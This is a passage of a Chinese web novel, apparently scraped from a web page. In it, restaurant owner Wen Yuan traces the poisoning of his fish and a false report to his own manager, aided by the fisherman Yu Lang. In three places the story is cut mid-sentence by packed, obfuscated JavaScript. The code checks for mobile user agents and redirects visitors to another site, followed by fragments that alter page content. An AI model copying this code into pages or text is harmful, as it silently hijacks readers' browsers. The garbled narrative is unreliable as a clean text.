余一洪听着不爽，当即就要呛声，被余泽平拉住了，这是浪哥找的新活计，可不能让他们给搞砸了。 “温少爷，浪哥说两日，定是两日。” “行，这鱼儿我收下了。”温沅点了点头，把吕三娘招呼过来：“三娘，这鱼交给你了。” “哎！”吕三娘手擦了擦襜衣，认真听余泽平教她如何养鱼。 “少东家，您可不能糊涂，食肆生意好不容易有了起色，若是被他们耽误了，可还得了？”陈贵礼苦口婆心劝着。 他见那二人专心教吕三娘，小声对温沅说，“少东家，不如多寻几个供鱼人，可不能给他们拿捏您的机会啊……” 温沅瞥了陈贵礼一眼，沉思片刻道：“我心里有数，陈掌柜忙去吧。” 陈贵礼虚了眼温沅的神色，见他不为所动，暗自咬了咬牙，琢磨着还得想想别的法子。 余浪一走，食肆少了个得力干将，客满时，连温沅都得帮着招呼客人，几趟跑下来，直接瘫倒在椅子上。 “食肆少个人就是不行啊……”温沅扯着袖子闻了闻：“这螺蛳味也太浓了，早知问余浪要份香囊的配方，配一个去去味。” 爆香螺蛳引来的客人比第一日多了近一倍，常做的几道鲜鱼菜品渐渐被客人们熟知，最重要的是，食肆攒下了老客。 便是那爱钓鱼吃鱼的杂货铺老板。 “温老板，明日我再订一桌全鱼宴，这回定要给我做好些，我要请一位贵人吃饭。”杂货铺老板笑说。 温沅还未说话，一旁的陈贵礼喜道：“哎哟，那可真是太好了，就等您来了！” “是。”温沅也笑说：“好鱼定给您留着！” 一桌全鱼宴快赶上一天挣的钱了，且杂货铺老板每次带来的朋友，都成了回头客，这给温家食肆带来不少生意呢。 全鱼宴一定得做好！ 14. 食肆整治（十四） 温家食肆现有的菜品属于大众菜品，每家食肆都有，口味各有不同，然而想让食肆长久地经营下去，光靠这几种菜品远远不够。 温沅琢磨着能不能再加新菜品。 温沅找上了陈大立，“这几日再来一道‘熝炖鱼鲜’。” 这是温沅之前在青州城吃过的菜品，像是鱼和各种青菜瓜类的大杂烩。 先是把大豆黄卷、白嫩豆腐、莴苣等菜炖熟铺在盘底，再将一条两斤重的熟鱼，从鱼肚剖开，摊在最上方，淋上鲜辣酱汁一起熝炖。 一道菜荤素相宜，色泽鲜美，对于平日难得下馆子想吃硬菜又想配点素菜的平头百姓而言，是项不错的选择。 “除了熝炖鱼鲜，还能做鱼丸、鱼豆腐、煎鱼炸鱼、鱼片粥……”温沅说得越多，在青州城的记忆就越清晰，他顿了一下，说：“现在做不了那么多，一样一样来。” 陈大立听到又要试菜，头都大了，光是现在的菜品都做不过来了，还让他试菜，这少东家莫不是故意整他？ 温沅想了想：“三娘，这道菜你来。” “我？”吕三娘指着自己，愣了。 陈大立也懵了，吕三娘会做菜？就会捏几个四不像的包子，她会做菜？ “对。”温沅折扇一点，“这菜不急，慢慢试。” 陈大立一听慢慢试，双手抱着脑袋立即道：“三娘来。” 吕三娘头皮顿时发麻，她可是见过陈大立被少东家来回折腾到面如死灰的模样，陈大立这般好的厨艺都如此绝望，要换成她，岂不是痛不欲生？ 陈贵礼听着只觉荒谬：“少东家，三娘只是个厨娘，哪会什么做菜，您这是胡闹啊，再说了，三娘试菜，炙烤小鱼怎么办？” “现下有螺蛳，炙烤小鱼的香料成本过高，是时候换种做法了。”温沅懒得听他们多言，“就这么定了。”说完悠悠哉哉回柜台收钱去。 陈贵礼早上的好心情顿时拉跨，转念又想，尽管折腾去吧，也没多少时间容你折腾了。 吕三娘恍恍惚惚地出了后厨，周七豆见她神情不对，连忙过来扶着她。 “七豆啊……少东家让我试菜呢。” 周七豆不懂她为何愁眉苦脸：“上回少东家不是也让你烤小鱼了？” “那不一样，烤小鱼只需要看着火候呢，看一遍就会，这做大菜，我可一点儿经验都没有呢。”三娘木着脸。 吕三娘不知少东家为何让她试菜，她自认没什么做菜的天赋，在陈大立手下做帮厨，也就是备备菜切切肉，偶尔陈大立忙不过来，会帮着做几道菜。 陈大立总说她为人愚钝，不是做菜的好料子，也就是手脚还算麻利，能帮着记一记炖菜时间，做帮厨不错，做大厨不行。 食肆有点起色不容易，她太害怕会搞砸。 “啊……”周七豆不知该说什么，“三娘，你可以的，你做的包子很好吃。” “那是包子，和大菜不同啊……”三娘继续木着脸。 郭巴子高高兴兴地凑过来：“三娘试菜？那岂不是会有好多好多试得不行的菜吃了？” 吕三娘瘫着一张脸看他。 “试菜好啊试菜妙，试菜简直呱呱叫！我有这五脏庙，只有试菜填得了！”郭巴子甩着布巾蹦去大堂。 且不论试菜之事如何，今日的炙烤小鱼还得做，晚食一过，天色渐暗，各家店铺门前点起灯笼，最后一位客人离去，食肆打样。 忙碌了一天的伙计们围坐后院，心满意足地吃了顿晚食。 入夜，明月高挂。 众人吃过饭，坐在后院闲聊几句各自散去。 周七豆刚想关房门，瞅见吕三娘愣愣地盯着水缸里的鱼，时不时叹气摇头，他走过去说：“三娘，少东家说了试菜不着急，不如回去睡觉？” 吕三娘愁了一整天，愁着愁着，都愁恍惚了：“我看这鱼怎么都不爱动了，这意思是不是让我别杀他们做菜呢？” “……”周七豆想了想说：“天黑，鱼也要睡觉呢。” “是吗……”吕三娘抹了把脸，“罢了罢了，回去睡觉，明日的事明日再说罢。” 周七豆夜里没睡好，五更天时，他起夜上了个茅厕，提起裤子刚要开门，门外忽地传来一声沉闷的动静。 他猛地惊醒，后背传来的一丝凉意让他顿在原地。 ……偷子？ 前几日这条街巷来了几个偷子，幸好被夜里巡街的捕快抓了，当时闹得挺大，食肆里的人都被吵醒了。 这才过几日，难不成又来了？ 周七豆屏息拉开一丝门缝，门外灯歇月暗，天色透出微光，看不清整座后院，只能依稀看到晾衣架上飘动的衣裳，影影绰绰。 他松了一口气，估摸着是自己没睡醒听错了。 就在这时，一股穿堂风掠过，周七豆寒毛直立，战战兢兢转过头，后门不知什么时候开了一条小缝。 ……昨晚没关后门？ 风从周七豆的耳边吹过，他搓了搓手臂，小心翼翼地走过去，插鞘果然没插上。 兴许是三娘睡前忧虑着试菜之事忘了关门。 周七豆一抬眼，一双眼睛赫然出现在门后。 他瞳孔猛地一缩，慌慌张张地往后退想要喊人，结果喉咙发紧喊不出声。 “七豆？”门外有人喊。 周七豆还在后退。 门开了，“是我是我。” 是吕三娘。 “……三、三娘？”周七豆惊得满头大汗。 “方才有没有人进来过？”吕三娘左手端着一板白豆腐，右手提着一袋面粉焦急进门。 “怎么了？”周七豆愣住。 “刚刚我采买回来时远远看到有个人从咱们门前跑过。”吕三娘说：“但是看锁时，锁头又没坏。” “难不成是偷子？”周七豆震惊。 “快去喊少东家！”吕三娘立即道。 周七豆连忙去喊温沅和郭巴子。 温沅得知此事，立即翻开床板，钱匣还在，打开细数一下，十六两五钱，完完整整。 柜子和桌子都没有被翻过的痕迹，门上插鞘也没有动过。 他检查一番后，出来和其他人对了一下，所有人都说自己房间没有丢失东西。 “那偷子当真是从后门跑出去的？”温沅问吕三娘。 吕三娘说：“是啊少东家，但离得远，我没看清那人的脸，不过……” “不过什么？”郭巴子急着问：“快说啊。” “不过我看那人好像有些眼熟，就是想不起在哪里见过。”吕三娘也急呢。 “难不成是前几日的偷子又来了？”郭巴子说，“我记得三娘说那日出去采买正好看到偷子被抓呢。” 吕三娘仔细想了想，很有可能。只是偷子会这么快被放出？ “若是偷子偷的东西不多，进牢里吃几日苦头就能出来了。”温沅说。 “少东家！”周七豆忽地高喊一声，“这鱼不动了！” 众人连忙围过去看，两个大水缸里的大鱼全都侧翻，甚至有些已经肚皮朝上，有的鱼鳃还在微弱开合，但没多久，开合停下。 温沅立即拿过捞鱼网看看底下还有没有存活的，无一例外，全部死亡，就连螺蛳都没逃过：“怎么会……” 他皱起眉仔细看了看，忽然发现水面上一片油亮，他顾不上水脏腥味，用手搅弄一下，举起手看了看，果然是油，凑近一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224315|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻，是菜籽油。 “看看油还在不在。”温沅立即说。 吕三娘跑进厨房一看，顿时叫了起来。 只见厨房里放油盐酱醋的罐子全部被打翻，台上地上乱七八糟地混在一起，堆在角落的木柴被水打湿，除此之外，别的都没什么变化。 “少东家，窖房里的菜籽油也没了。”周七豆拿着油罐从窖房出来。 温沅低头看满缸翻肚皮的鱼儿：“三娘今早遇到的兴许不是偷子，而是让食肆做不成生意的贼子。” 众人齐齐愣住，食肆靠卖鱼有了起色，这番把鱼全部弄死，又恰巧余浪不在无法提供新鱼，加上所有调料柴火都毁掉，生意定会出问题。 这怕不是哪家食肆看不惯温家食肆有生意，故意派人来使坏。 此刻天光已然大亮，陈贵礼和陈大立从后门进来，见着众人对着大水缸愁云惨淡。 “怎么了？”陈贵礼率先问道，他走得极快，走近一看，顿时不用再问。 “昨夜不是还好好的？”陈贵礼竖起眉，“三娘，少东家把照料鱼儿的活儿交给你，你到底在做什么！” “掌柜的，这是有人故意使坏，我今早——”吕三娘试图解释。 “你还学会推脱了，若你能细心照料，这油能进到水缸里？”陈贵礼瞪了她一眼，“我看你说什么见着人，也是假的吧？” 温沅一顿，看了陈贵礼一眼。 吕三娘有口难辨，无论是不是有人使坏，这鱼儿死了是事实，要问责，也是问到她头上。 陈大立幸灾乐祸地瞅了她一眼：“三娘不会是害怕试菜，故意把鱼弄死吧……” “我、我没有！”吕三娘焦急地看向温沅，“少东家，您让我试菜，我确实害怕做不好，可我没想过弄死鱼啊……” 温沅忍着满手油腻，深吸一口气说：“现在不是追究责任的时候，今日杂货铺老板带贵人上门，不能搞砸，三娘七豆你们去菜肉行买鲜鱼买调料，小鱼和螺蛳暂时先不做。” “这个时辰不一定能买到好鱼呢。”陈贵礼说，“不如推了杂货铺老板的宴席，改日再办？也好过现下匆匆忙忙的办不好。” “多贵都行，只要能买到鲜鱼。”温沅说：“一定要最鲜活的，次品不要，能买几条买几条，哪怕今日只做杂货铺老板这一桌。” 这是好不容易攒下的贵客，温沅不想失去。 吕三娘和周七豆拿着银钱赶去菜肉行买鱼，整个菜肉行只有五家鱼摊，卯时一过，鱼摊上剩下的鱼大多没那么鲜活了。 果不其然，吕三娘和周七豆按照温沅的要求只买回四条鲜鱼，且都不足两斤。 这点鱼远远不够。 温沅第一回遇到如此棘手的事情，颇为头疼，又隐隐有些兴奋：“除了菜肉行，还有哪处卖鱼？” 今州城靠江近海，卖鱼的摊子不可能只有菜肉行那么几家，街市上一定有散卖的鱼贩子，只是温沅对今州城不熟，一时想不出要去何处买。 以前都是陈大立去采买，因此他了解得最深：“近一些的东三街、西里街，远一些的城西城北都有。” 温沅想起余浪曾和他说过，垌渔村的同村兄弟多是去西里街散卖，“三娘你到西里街采买，七豆你到东三街看看，大立你来处理这些鱼，郭巴子清扫食肆照常开门，陈掌柜去把柴火搬到后院晒干。” “不就是想扰得咱们做不成生意么……”温沅慢悠悠地说：“鱼没了买，调料没了再添，没什么大不了的，各自忙去吧。” 陈贵礼没想到温沅如此轻巧就将此事揭过了，一时有些摸不准这小少爷心里在想什么。 温沅只有一个想法——这温家食肆，他不仅要开，还要做到最好！ 15. 食肆整治（十五） 赶在巳时前，周七豆和吕三娘各带回四条鲜鱼，这些鱼足够做午食的全鱼宴。 “需要腌制的菜品先备好。”温沅叮嘱陈大立，“万不可因为时间紧急而忽视了口味。” 陈大立立即高声辩解：“少东家，我一直都很上心的啊，每日做菜可都是按您口味来的。” “我知晓，陈大厨辛苦。”温沅说。 陈大立这才昂首进厨房做菜。 “郭巴子。”温沅招了招手。 “……哎！”郭巴子甩着布巾走过去，“少东家您找我啊？” “你去街市上买两捆柴回来。”温沅说。 郭巴子脸一垮：“这、我……少东家，您不会让我把柴背回来吧？这我哪行啊……” “寻个卖柴翁送上门便是。”温沅不容他拒绝，摆摆手道：“去吧。” “……”郭巴子跺着脚去了。 此刻离午时只剩一个时辰，光是洗菜切菜杀鱼就得花不少时间，平日这些活儿多是吕三娘来做，今日周七豆打扫完大堂也加入进来。 虽说温沅面上没表露出不高兴，但伙计们都不敢在此刻触少东家的霉头，吕三娘更是比平时勤快且小心翼翼，怕再搞砸一点就会被辞退。 午时刚到，杂货铺老板准时带着三位好友出现在食肆门口，和前几回一样，进了东六雅间。 郭巴子给几人倒茶，询问何时上菜。 杂货铺老板笑道：“做好了就上，你家的鱼我放心。”说完转头和另一位年约五十的老者说：“这家的鱼，和我在青州城吃过的一模一样，甚是怀念啊。” “如此，我定要好好尝尝了！”老者抚须笑道。 郭巴子退出雅间到后厨侧门清了清嗓子高声唱菜，唱菜讲究一个先冷菜后热菜。 “凉拌麻辣鱼皮、水晶鱼冻。香酥小炸鱼、桃酥鱼片。辣烩鲤鱼、清蒸鲈鱼、豆豉鱼头。白玉鱼汤、鱼蓉粟米羹。再来一桶珠润白米饭——” 唱完后，他把新做好的竹片子挂到了木板上。 在食肆吃饭，听伙计唱菜是一种享受，唱的人爽利，听的人舒坦，后面来的客人不知点什么菜时，这就是最好的参考。 然而今日食肆食材不多，这一顿点完后，温沅让郭巴子把打烊的牌子挂出去。 郭巴子兴高采烈列地去挂木牌，刚想进门吃饭的客人诧异道：“这么早就打烊了？” “少东家让打烊了。”郭巴子笑着说，早早打烊意味着今日没活儿干，爽哉爽哉。 “先前我还见着有人进去呢。”客人往里探头看了一眼。 “今天食肆出了点意外，食材不够。”郭巴子解释道，“您要不明日再来？” 客人就冲着那一口螺蛳来的，这会儿没吃上有些失望：“那行吧，明日多备些螺蛳啊。” “好嘞！您走好。”郭巴子说。 温沅想着余浪得后日才回，明日的鲜鱼螺蛳得寻个新的鱼贩提前订下。 也不知余浪那边如何了，怎么就在这个当口事赶事了呢。 “浪哥，两日没睡，还能撑住吧？”余泽平摇船载余浪到岸上。 “浪哥之前十日不睡都没事呢。”余一洪说。 “那能一样么？这两晚可是时刻跟那群无赖周旋，铁打的人都扛不住。”余泽平说。 余浪没说话，下了船往远处看了一眼，上名村的陈家三兄弟白日只敢躲在暗处，夜里撑着船来盯梢，若真是捞江里的鱼垌渔村的村民也不好说什么。 可他们盯的是村民辛苦挖的鱼塘里的鱼，且只盯着，不偷，也没放药草毒鱼，被人发现就跑，没人又回来。 垌渔村的村民不得不防着，最终耗了两晚，余浪没闲心耗下去，他可是答应过他家少爷两日结束的。 上了岸等到午食时，余浪直接找去上名村。 他只带了余泽平余一洪两人过去，明目张胆地闯到了陈家，他见了那三兄弟二话没说直接拎起一人抡到水井边，然后拽着那人的衣领把人提到了井里。 陈三吓得丝毫不敢动弹，生怕余浪一个松手他就摔下去：“大哥！大哥……快来啊大哥！” 陈大和陈二刚冲上前，却见余浪手一压，陈三嚎得更凄惨了。 “你想干什么！”陈大怒瞪他。 “我们才要问你们想做什么。”余一洪拇指一抹鼻子，哼道：“天天守着算什么好汉？有本事现在打一架！” “你个屁娃子这里有你说话的份吗！”陈二指着他。 余一洪啐道：“呸！孬种！就知道你们不敢打！” “你！”陈大气急。 “要打架直接冲我来，我奉陪到底，玩怂的，就这个下场。”余浪说完松开了手，陈三直接挂到了木桶上，木桶的绳子在余浪手里拽着。 他狼狈地踩着木桶，抓着麻绳，哀求道：“别、别松手……大哥你让他别松手啊！大哥二哥！” 陈大陈二不敢再动，急得满头大汗，陈大慌忙说：“你放了我三弟，我们不会再去。” 余浪平静地扫了他们一眼，单臂一扯，竟是将人硬生生扯上半尺，最后将麻绳捆到了摇摇欲坠的辘轳上，拍了拍手带着余泽平余一洪走了。 陈达陈二看得头皮发麻，他们光知道余浪手狠力气大，没想到他这么狠。 回去路上，余泽平问：“浪哥，你手没事吧？”想起他浪哥方才暴起的肌肉，不由地缩了缩脖子。 余浪抓了一下手掌，掌心的红印子清晰可见，没一会儿就渗了血。 余泽平嘶了一声：“得赶紧回去敷草药。” “没事。”余浪随手摘了片叶子把血擦掉，“那三人再来的话，便是食肆找我。” 余泽平一愣：“浪哥，你还要去食肆？” “嗯。”余浪说：“前日午时走，两日时间到，我得回去。” “也不急这半日吧？温少爷也不像那小气之人啊。”余泽平说。 余浪心想：我急。 “浪哥，你对温少爷也太尽心了，我看他那掌柜一点儿也不顺眼。”余一洪说。 “因为他是少爷。”余浪低声说了一句。 温少爷正头疼呢。 午正一刻，食肆来了两个捕快和一个头戴褐色布巾的汉子。 三人一进门，左右扫了眼食肆，一声不吭地往后院走，站在柜台后的陈贵礼想过去拦人，没拦下。 陈贵礼跟上去：“几位这是？” 两个捕快没回话，倒是褐布巾汉子看了他一眼。 眼神对上，陈贵礼暗暗点了一下头。 “你们这，谁是掌柜啊？”胖捕快大步走到水缸旁，低头一看，水缸只有水，脸色有些不好看。 “我，我是掌柜。”陈贵礼指了指从房里出来的温沅，“这位是我们少东家。” 温沅看到进来的三人，疑惑地拱了拱手道：“几位有何事？” “有人告发你们食肆卖死鱼，可有这回事儿？”胖捕快掀开另一个水缸的盖子看了看，还是清水。 温沅一愣， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“仅看到食肆有死鱼，如何能断定我们卖死鱼？”温沅把手背在身后甩了甩，“二位大人也太着急了些。” “你这是何意？”胖捕快往前走了一步，威慑道：“阻碍办案仔细你的骨头！” 一旁的陈贵礼像是被吓到了，小声劝温沅：“少东家，您可别冲动啊，进牢不是小事，就让他们封几天店，到时和大人说清楚就没事了。” “怎么能封店，不能封啊！”吕三娘一听，着急道：“我们少东家不是那样的人，这鱼是今——” “你还嫌不够乱？”陈贵礼打断她，“回去！” “陈掌柜你给我闭嘴。”温沅淡声道。 陈贵礼神色一僵，脸面挂不住，叹了叹气退到了另一边。 温沅转过头直视胖捕快：“大人想封店，光凭几条死鱼不够吧？这死鱼可上桌了？可有人吃了？” 胖捕快语塞，没想到这小少爷嘴巴如此利索，他指了指一旁的褐布巾汉子：“你来说。” “死鱼就在后院放着，大家伙都看得到！”褐布巾汉子大声道：“你家水缸一条活鱼都没有，那你们今日开店，卖的不是死鱼是什么？” “且让你瞧瞧卖的是什么。”温沅哼了声，“巴子七豆，把东六雅间的客人请出来，问问几位贵客，咱们食肆卖的到底是什么鱼。” 16. 食肆整治（十六） 吵闹声传到东六雅间，没等伙计去请，雅间的门便开了，里边走出一位瘦高的中年汉子。 杂货铺老板在雅间里听不真切，出来一看，才知外头竟是聚集了这么多人。 路人见他出来，纷纷问道：“是不是吃死鱼了？这家食肆有没有卖死鱼啊？” “那鱼有没有臭啊？” …… “宁老板，”温沅拱手道：“这二位大人说食肆欺客卖死鱼，可否请您作个证，方才吃的全鱼宴里，可否有不妥。” 不等杂货铺老板说话，褐布巾汉子眼珠一转，笑着迎上去，大义凛然道：“若吃了死鱼，我们王捕头定会为您讨回公道！叫这家食肆给您赔钱！赔大钱！” 温沅自小在孙府长大，此等龌龊事见得多了，自是听懂了他言语里的暗示。 要真被他得逞，只怕食肆不保。 “宁老板，食肆的鱼用的是最新鲜的食材，您来吃过几回，定十分清楚。”温沅说。 “温老板那一背篓的死鱼还在后院放着呢，此时说新鲜，笑话！”褐布巾汉子讥讽道。 “此言差矣。”杂货铺老板抬起手对众人道：“后院是不是有死鱼我不知，我只知方才吃的全鱼宴，的确非常新鲜且正宗。” 路人又问：“真的正宗啊？他们没有卖死鱼？” “死鱼还能吃不出来？那肉吃起来都不一样呢。” “所以他们家没有卖死鱼咯？” 就在这时，人群中有一高大汉子走出，他身后背着一大鱼篓，腰间还挂着个小的，篓子上挂着水珠，一阵鱼腥味传出，周围人都往旁边走了一步。 那汉子一脸漠然，径直往前走，停到了温家少东家面前。 温沅愣了愣，没想到余浪这时候竟然回来了。 余浪垂眸看了他一眼，低声喊了句“少爷”，随后卸下鱼篓放置地上，声音不高，却沉稳有力让所有人能听到：“我来给食肆送鲜鱼。” 温沅顺着他目光看向鱼篓，盖子一掀，里面赫然二十几条大鲜鱼，这还不够，转头看小鱼篓里，竟是两只甲鱼！ 甲鱼难抓，价高味美，是难得的炖汤好食材。 周围人的重点一下全变了，什么死鱼不死鱼的，甲鱼才是稀罕物啊！ 就连杂货铺老板都止不住咽口水：“这两只甲鱼一看就鲜活，好！好！” 温沅一听，立即抬头高声道：“诸位！这位是给我家食肆供鱼的卖鱼郎，你们瞧这鱼是不是新鲜的？” 鱼篓里的鱼儿配合着跳了起来，弹起一阵水花。 能不新鲜么？活蹦乱跳的。 “食肆里的确有死鱼，但温家食肆从不做亏心的事儿，没有新鲜食材我们宁可打烊，诸位且看门上挂的木牌。”温沅手一指，旁边的木门上的确挂了打烊木牌。 “对啊！”一客人忽地说：“今早我路过这家店，想点一份螺蛳，他家的确说了食材不够打烊了，要真是卖死鱼，又怎会这般说？那铁定没卖啊！” “嚯哟，这么有良心的食肆不多了。” “是啊，多的是拿些次品卖高价的食肆呢，那味道也就那样，一问价钱，贵得嘞！” “贵些就罢了，最怕那些又贵又难吃量还少，也就摆盘摆得好看些。” “好看有甚么用？吃进嘴里都一个样，好吃才重要呢！” 褐布巾汉子脸色顿时难看起来，刚刚若是直接封店，哪还有这掰扯的事儿。 “那、那他们家后院，的确有死鱼，这又作何解释？”褐布巾汉子说。 温沅双眼一眯，哼道：“既然大人看到食肆中有死鱼，那我不妨也报个案，今天不亮有窃贼闯入食肆，死鱼便是此窃贼作恶，还望二位大人明察。” 此言一出，众人哗然。 前面说的卖死鱼，怎的又扯到窃贼身上去了？ 褐布巾汉子慌乱间朝陈贵礼看了一眼，哪知陈贵礼看也不看他，甚至躲进了食肆里，他气得脸色铁青。 胖捕快见势不妙，脸色忽地一变，对那褐布巾汉子呵道：“你小子竟然诬告良善！” 褐布巾汉子没想到胖捕快竟然当场翻脸不认人，他一咬牙，“王捕——” “啪”的一声，胖捕快照着他的脸重重扇了一耳光。 “本捕快险些被你蒙骗！你是何居心！” 褐布巾汉子目眦欲裂：“你——” “瘦马，带走！”胖捕快不给他任何说话的机会，抽出半刀，“回去好好审！” 瘦捕快立即架起刀，把人押走。 温沅看着那褐布巾汉子远去的背影，借步走到吕三娘身边，低声问：“今早的人可是他？” 吕三娘认了许久，摇了摇头小声说：“身量不像，也不是这身衣裳。” 温沅皱着眉头“嗯”了一声。 胖捕快一改之前态度，对温沅拱了拱手道：“温老板莫要介意，有人告发自然要彻查，这也是本捕快的职责所在。” “辛苦大人。”温沅开门做生意，不愿得罪这等两面三刀的捕快，生怕哪日给他整点事儿，便说：“还望大人帮忙查一查那窃贼是何许人也。” “本捕快最看不惯的就是窃贼，温老板放心。”胖捕快说。 温沅笑笑：“多谢大人。” 胖捕快一走，食肆里的伙计都涌了过来，周七豆问：“那捕快真会查？” “怎可能。”温沅啧了一声，“只说看不惯，又没说要查。” 站在最末尾的陈贵礼，悄悄松了一口气。 死鱼之事有了结果，不仅没让温家食肆名声扫地，反而好好宣扬的一番。 现下大家都知晓温家食肆讲究良心，不卖死鱼，甚至次品都不卖，卖的全是新鲜食材，一时之间，众人都想进食肆大吃一顿。 正好余浪带来了二十几条鲜鱼，食材足够，打烊木牌撤下，敞开大门迎客！ 杂货铺老板对甲鱼心心念念，追着温沅说：“甲鱼给我来一只，炖汤！” 甲鱼汤大补，但是甲鱼汤可不好做，做不好容易腥，肉还老，汤不好喝肉不好嚼，这么好的食材，可不是一次就能成的。 “宁老板，甲鱼汤还得试做，味道调好了才能上桌，今日怕是不成了。”温沅歉声道。 杂货铺老板说：“你们食肆的大厨不会做？” “会不会做是一回事，做得好不好吃又是另一回事儿，食肆里的菜品没经过试菜不许上桌，规矩不能破。”温沅笑了笑，“宁老板海涵。” 杂货铺老板没想到温沅对食肆的菜品要求如此精细，怪不得全鱼宴做得这么好，深感佩服的同时又有些可惜，毕竟甲鱼汤可香了。 他想了想说：“要不你卖我一只，我回家自个儿做。” 温沅一愣，颇为意外杂货铺老板对甲鱼的喜爱，他转头看了看余浪，用眼神问他行不行。 “嗯？”余浪失笑道：“少爷，您是少东家。” 温沅啧了一声：“这不是怕误会么，要是你说甲鱼是捉回家吃的，那我不好自行决定了。” 余浪看着他没说话，眼底闪过一丝微不可察的笑意。 “甲鱼便按进货价给您，如何？”温沅问道。 “没问题！”杂货铺老板笑呵呵地说。 温沅不仅卖了一只甲鱼给杂货铺老板，为了答谢方才杂货铺老板的相帮，还让陈大立做了一份蒸鲜鱼送到东六雅间。 鱼是真的鲜，味是真的美，东六雅间的客人们吃完后一致赞叹。 那位老者更是主动向温沅要了笔墨纸砚，提笔写下两个大字——好鱼。 给食肆里的伙计看得一愣一愣的，哪有人吃完饭还留墨宝，从未见过呢。 一群人挤在四方桌前看，他们不懂什么字，看不出好坏，温沅对书画也没什么兴趣，不过他能看出这两个字写得是真的好。 风骨尽显。 走之前，杂货铺老板悄声和温沅说：“颜老一字难求，可得好好裱起。” 温沅低头一看，左下落款写的是“颜幕之”。 “这颜幕之是什么人？” “颜幕之？”郭巴子双目一睁，把脸怼到落款处，叫道：“颜院长！刚刚那是颜院长！” “嗯？”温沅被他这激动的语气惊了一下，“哪个颜院长？” “今州城最大最厉害的修远书院的院长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224317|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”郭巴子脸上隐隐露着憧憬，“听闻院长云游好久了。” 温沅意外地看了他一眼：“你了解得颇深啊。” 郭巴子一怔，摸了摸鼻子笑说：“就是……听旁人说的，来的客人就爱说这些嘛。少东家，这个要不要裱起？” “自然是要的。”温沅笑道：“寻个装裱师傅。” “我来我去！”郭巴子头一回主动揽活儿，说完等温沅点头一溜烟跑出了门。 温沅将字幅放好，打发伙计们去干活儿，唯独留下余浪：“一会儿同我去趟衙门。” 余浪一下听懂了他的意图：“找方才那人？” “对。”温沅就喜欢余浪这不用多说的默契，他用折扇敲了敲掌心，“既然那捕快不会查，那只能咱们自己查查到底是谁在暗处使坏了。” 温沅和余浪在衙门蹲守了两刻钟，方才见到褐布巾汉子从里边出来，出来时，这人一脸愤恨，走远一点还回头吐了一口唾沫子，吐完骂骂咧咧地走了。 褐布巾汉子拐进巷子的时候还在骂，嘴上喷出的污言秽语实在难以入耳。 温沅眉头紧皱，巷子越走越僻静，直到街市的热闹被甩远，他朝余浪偏了偏脑袋。 余浪闻声而动，几个跨步追上去，一把掐住褐布巾汉子的脖子将人甩到灰墙上。 褐布巾汉子摔得头昏眼花，嘴巴一张，嚎叫声还未发出，就被硬生生掐断。 余浪慢条斯理地把布巾塞进他嘴里，然后扯了他的裤腰带把手绑在身后，褐布巾汉子瞪大双眼，疯狂挣扎起来，被余浪揣了一脚才停歇。 “地上有些脏，少爷小心些。”余浪见地上有个木墩，一把抱过来放在地上，然后解了外衣垫在上边，“少爷，坐。” 温沅看着地上可爱的木墩，连忙展开折扇挡住下半脸，他怕下一瞬会忍不住笑出来。 怎么搞得好像他们才是地痞流氓…… 他撩开衣摆坐下，清了清嗓子刚要开口，余光瞥见男人赤-条-条的上身，切割分明又结实的腹肌就这么在他眼前晃。 晃得人眼晕，晕得他忘了要说什么。 “你……往后站些。”温沅干咳一声。 “嗯？”余浪挑起眉。 “吓着他了。”温沅指了指褐布巾汉子。 “嗯。”余浪往后退了一步，站在温沅身后，垂眸看着小少爷白皙修长的侧颈。 “莫慌，我们只想问你几个问题，你若实话实说，便不拿你怎么样。”温沅笑着对褐布巾汉子说：“这处偏僻，你叫了也无人搭救，明白？” 褐布巾汉子连连点头。 温沅笑了一下，抬了抬下巴。 余浪上前把褐布巾汉子嘴里的布巾扯下，而后退回温沅身后，做个沉默的护院。 “食肆的死鱼是谁做的手脚，是谁指使你去告发。”温沅问。 褐布巾汉子看了眼高大漠然的余浪，又看向微微笑着的温沅，毫不犹豫地说：“陈贵礼，你们食肆的掌柜。” 说完却发现那位年轻的温老板脸上并无意外。 温沅沉思片刻，皱起眉说：“若是胡说……” “就是他！鱼是他弄死的，也是他让我去衙门告发你！”褐布巾汉子急忙说，“他给了我一两银子，说完事再给二两，个狗东西，翻脸不认人！” “他这么做是为什么？”温沅不明白食肆闭店对陈贵礼有什么好处。 “这我哪知道，但他说食肆倒闭了，他能拿一大笔钱。”褐布巾汉子说，“我就知道这些，可以放我走了吧？” 温沅看了他一眼，起身甩了下折扇：“恐怕不行。” “什么！”褐布巾汉子震惊。 “你有没有说谎，见了陈掌柜便知。”温沅见他不想配合，补充道：“你今日诬告，我若报官你可逃不了，若是你同我们回食肆做个人证，诬告之事我就不追究了。” “我、我不去……”褐布巾汉子还想挣扎，余浪扯着他的手臂一用力，卸了他一只胳膊，疼得他汗水直淌，哭着疯狂点头。 “我去我去我去……” 